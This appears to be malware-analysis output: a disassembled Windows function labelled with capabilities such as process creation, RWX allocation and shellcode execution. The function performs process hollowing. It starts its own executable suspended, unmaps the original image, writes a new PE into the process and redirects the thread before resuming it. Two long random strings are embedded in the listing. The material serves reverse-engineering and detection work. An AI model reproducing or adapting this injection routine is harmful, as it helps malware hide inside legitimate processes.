Function at 0x402c70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413066
mov eax, dword fs:[0]
push eax
sub esp, 0x928
mov eax, dword [0x4340a0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x864], ecx
push 0x400
lea eax, [ebp - 0x810]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x884], ecx
mov edx, dword [ebp - 0x884]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x402cd5
xor al, al
jmp 0x40316a
push str.IMAGE_DOS_SIGNATURE
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
mov dword [ebp - 0x8a4], str.jYgQzNh1B9SodAV9BbVUVKtwrlj4ahxtWusKFmhPlUxzOiRalLDmYQDWD4BDpqi0raNmhuGOGXDxdLx9dwWYTYVnxj79f3IeHW4WIYvoDF0NXcGcE78sTvetsVVgUD9ifKt6zkVXhNqFtSMXI6RJwtzVL93qtPBP8jKAODp2LxDdWjYA1Vm0CzeuUArQMpTY2h0vIDw2mskhq38JJXcHn7GQrg0tzisrbePdSJ8umv9rNQMAErrAk4BMUyD4lvronyijeXfR91H5KzeP8uEEi1R23g95vhIw1CTF2Y5IdKxlNgpG59M8tdxoAykOdWR44BzrR76y6N96l40R1igzmxVDn2TivYaJ4DJ2EiTWrH01wgnD2JYLLwwAlDxif1yO9Ig7D8lrVnuwmkCJLchKRj04tITo5MK31IqDnQtDm51OIOwrueVS8HfUP1yTwd7HXq2MMkw8BxRRgtxy1jcHoanYAG4VUkJBOvi365WwAPjns9RmJNL7NMF8XeUkqkp43wQ9QgorkozPFPoGCYLcMgDhgzyI2wBSDVR5WFIyW7Qw2FIReXQlbXYiS1ouynxqd3U9AIXuAffrwY8LHO1e7VC6ggMMDv6xU80QjwqWwpQoX9DJJrNJ1MEEYo2xKDRCviD0YMwB4EIUYKVFDFb4FOpSDSorcFbwkxKEOQXbEpNk4vpWgdwEdWoKUC7V8D2GgMI9kIAoKs5Itfcv2DKe4KkgCPkdtG72NOp4n3tXV2qVmW6K1t9K0s9oBbai28QX1k7i87UFPHGBFMCEM4uu6TX9MIHUqqntxRzV6PmhcuF5aX0FvI1VNy8zbRYA59u1AV0o8KwyOJ8xsW8LYzpQQAaHSrXAi3HzWR3kn6gkyeMS0gEqvFMjkJNA3EAX8YgC1UOElHGon6gL2ASF0YKAErYjV8KwxW6eJdSzQ34AjVdFFLR2YjkhxJQXROhQh7OSDNgw3gUKuDbMNMkwup2d4kKEe9XgULLDOApeo6UL5yG5cJGIbRLtCyfuwRzTRmY5YngHJXYumoeiqR7GhdYtUn4Ci9NCnqdgoScaaVdPGhcWTAq1BNuO1pbbbxh4wHTMRG18bEUHtH0jPqbNwXCphVKmT0CCb3cKRh2pxtB1ezWpj3BE0R7pqO8lfRpu5sVNm1Y2nlYIw8l3ciGIyycgtCSi5Q8zM3F4Wb1k9TXM26pNd54Cl0wFNvNtm5fBE6FdLTOQBmGauvlYTx5y23dz5jO564c1V3SoyfstRDsPHOjJETOcUrQdlu8nqHl5BrYiC9timgNPASnSEw2IOOq5U86Buh1KAXk9RpTGQosa5VB4UWbQbGsWuXk4AutPxuYELKajpPmQgA1GlPrO1sPO4pA22oXPYWJ2lNb3t4CXfSxUzWHlTrY0XtQPgrF3iv34e3j5L9Byec7F9hwI0OH3PNlMKvIwCo60DRmRoPQIwmADnRbG4GiLGIqd5Od8Y2LBlxA6Hu5xtwLhtWFxo0vgNaHtU2cpcWEcGfJJs8g9wirPpTF6TDxSRHYXX8EKWO1AD3X2HqyEcDkh0dzG4l2gNAg43zxgIuS6GRTtPEhc4T6mUvs7VM5gWFK948KQOUUyVzCPxK1XQQnCEB9K9tg2TtPEW2a9ocwm4SEaSjw7gBLlup7sTQy0D7a1LPyzrzNmjr0JexLPaJMzz0zC0erQqpwGCxIkIrzVuI47hiTlr8U7Syp8MNPwRMV7JummTkj129La24jQ67CAcsgpeG6eViCNms9nqSg1U2sVR1yBcoij9bqoQS3rRD1eRBGRzViRHwTOrTpRR4gpbkUvJfXVgdKTFry5tq42wInrNaRSlBPLAHrJzxzG3XDnjVj24rRs6AzFfQ6WVSh2scrwCs4YuxIalnpv6dJEIXEGsFun0cNCJR2THw3m8dePsth1d6oChCeUrWDt1axGbS1mfcCCUTBXpmkUNChQdbl2uHkzuRCcnBWTfNkQ49u9YwRf8ruoyax0hwx14I7QLu46fzao99KX8OeRhkSLV1M2LHuapy37z9iYqBzP2Kp5MxCnae05v1tCh8ApjBnfSlg9uUr3XpJ62lhaxd5S3ovwrlp9Bt2fBWlEKo8augbF0iklVu3hTddJdxMLdaUSs2x76PrAu3otTQSPMrAR0tmzRyHI83OG0JDDYUD09bfc2O0jiv1LP2cz4PpqtVyXDn4Rrcqj1GMxLrHdwnoEtFowIvilm0RNzrYW68XIVfjdxlVHlNtDA16x7kXX4Lq0Rugy84TH7bhVTwDNsHJqpDUWREhLSeScmhrPkghX4rlsqnFcq8jbJXSmSxffcIQIMGNw2OBxCDpyOHRpAi6CXjuFrD6VvXRIEIjNcMTDX1yYPGYHawDW4TI07igll6r5kxCpi4zOBs3yjSM69jeVAPXKOqm3mD2uYt8AqrvRmso5ahUpogOME84DODgCeu2mEUS6gC2Podgmpc3aA97iXDnyEaYCJWPRauHc2cV3bwyg5pKHeQtINaCIgRMELHJ0bS2GyCt5yNnBm1z8ErYS2m2CPi6kgQ1sdY4SfhlNDa1jtz1h25q55NiYWzAieOSKzMIA3pGlTlXdIXvNk6k9XVwNuu7aLvw7qqy8y973aFXgvxu4oXPqh6imEvHC395AKbRnSyEBxbSkgWieQgRLbwEbYHDlloBXnvGHIyPTtuRoyjddbL2zrk43nLo0WgaLTVGXoWC9KVdm05xHFlCGowt305BjjcIlNchAJsqLupqei8u9t2EyU1ivnDa0SYfKp8ytdF7u8tfXdJcLxYO6vBk1n49NhPARNHm3Q60hrnAyCxOyEvxJeXTqaENu5mEhW5cge5QovVB2rzpfr4UqIGLSglDN4xcoCvgzxUUkKEApGg1lkfNCce7LvEkx0K0lrouXxLRRWE6JrsA9AKHlsVBK4PJuMJK2PhvUzGP39IQ4Sk5GktO4S4lKqGYulG794SDrwBpbLgNtfvoMtr7OpKUWoHlnK8I9d1T4UlCPyl64
mov ecx, dword [ebp - 0x884]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x868], edx
mov eax, dword [ebp - 0x868]
cmp dword [eax], 0x4550
je 0x402d16
xor al, al
jmp 0x40316a
push str.IMAGE_NT_SIGNATURE
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
push 0x44
push 0
lea ecx, [ebp - 0x858]
push ecx
call fcn.00408680
add esp, 0xc
push 0x10
push 0
push 0x436224
call fcn.00408680
add esp, 0xc
push 1
lea ecx, [ebp - 0x814]
call fcn.00403190
lea ecx, [ebp - 0x814]
call fcn.00403e20
mov dword [ebp - 4], 0
push 0x41e8f4
lea ecx, [ebp - 0x814]
call fcn.00403fa0
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x814]
call fcn.00403fa0
lea ecx, [ebp - 0x814]
call fcn.00403fd0
mov dword [ebp - 0x8a8], eax
lea ecx, [ebp - 0x814]
call fcn.00401180
push eax
lea ecx, [ebp - 0x934]
call fcn.00404210
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x894], eax
mov byte [ebp - 4], 1
push 0x436224
lea ecx, [ebp - 0x858]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp - 0x894]
call fcn.00401180
push eax
call fcn.0040876a
add esp, 4
push eax
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x8a0], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x934]
call fcn.00404240
cmp dword [ebp - 0x8a0], 0
je 0x40314b
push str.CREATE_SUSPENDED
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
mov dword [ebp - 0x86c], 0
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x86c]
mov dword [eax], 0x10007
mov ecx, dword [ebp - 0x86c]
push ecx
mov edx, dword [0x436228]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40314b
push 0x4214d8
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
push 0
push 4
lea eax, [ebp - 0x85c]
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [0x436224]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x4214ec
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
mov ecx, dword [ebp - 0x868]
mov edx, dword [ebp - 0x85c]
cmp edx, dword [ecx + 0x34]
jne 0x402edc
mov byte [ebp - 0x85d], 1
jmp 0x402ee3
mov byte [ebp - 0x85d], 0
mov al, byte [ebp - 0x85d]
mov byte [ebp - 0x86d], al
movzx ecx, byte [ebp - 0x86d]
test ecx, ecx
je 0x402f43
mov edx, dword [0x436224]
mov dword [ebp - 0x89c], edx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x88c], eax
push str.ZwUnmapViewOfSection
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x890], eax
mov ecx, dword [ebp - 0x85c]
push ecx
mov edx, dword [ebp - 0x89c]
push edx
call dword [ebp - 0x890]
push 0x42152c
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
mov dword [ebp - 0x874], 0
push 0x40
push 0x3000
mov eax, dword [ebp - 0x868]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x868]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [0x436224]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x8ac], str.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
cmp dword [ebp - 0x874], 0
je 0x40314b
mov edx, dword [ebp + 8]
mov dword [ebp - 0x8b0], edx
push 0
mov eax, dword [ebp - 0x868]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x874]
push eax
mov ecx, dword [0x436224]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x87c], 0
jmp 0x402fea
mov edx, dword [ebp - 0x87c]
add edx, 1
mov dword [ebp - 0x87c], edx
mov eax, dword [ebp - 0x868]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x87c], ecx
jge 0x403055
mov edx, dword [ebp - 0x87c]
imul edx, edx, 0x28
add edx, dword [ebp + 8]
mov eax, dword [ebp - 0x884]
mov ecx, dword [eax + 0x3c]
lea edx, [edx + ecx + 0xf8]
mov dword [ebp - 0x888], edx
push 0
mov eax, dword [ebp - 0x888]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x888]
mov edx, dword [ebp - 0x874]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x436224]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x402fdb
push 0
push 4
mov ecx, dword [ebp - 0x868]
add ecx, 0x34
push ecx
mov edx, dword [ebp - 0x86c]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x436224]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.WriteProcessMemory2
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
mov edx, dword [ebp - 0x868]
mov eax, dword [ebp - 0x874]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp - 0x86c]
mov dword [ecx + 0xb0], eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x880], 0
cmp dword [ebp - 0x878], 0
je 0x4030e7
push str.SetThreadContext
mov edx, dword [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 0
je 0x403104
mov eax, dword [ebp - 0x86c]
push eax
mov ecx, dword [0x436228]
push ecx
call dword [ebp - 0x880]
cmp dword [ebp - 0x878], 0
je 0x40311a
mov edx, dword [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.va_a_lanzar
mov ecx, dword [ebp - 0x864]
call fcn.00402a50
mov byte [ebp - 0x86f], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00403f60
mov al, byte [ebp - 0x86f]
jmp 0x40316a
mov byte [ebp - 0x86e], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00403f60
mov al, byte [ebp - 0x86e]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405b6d
mov esp, ebp
pop ebp
ret 8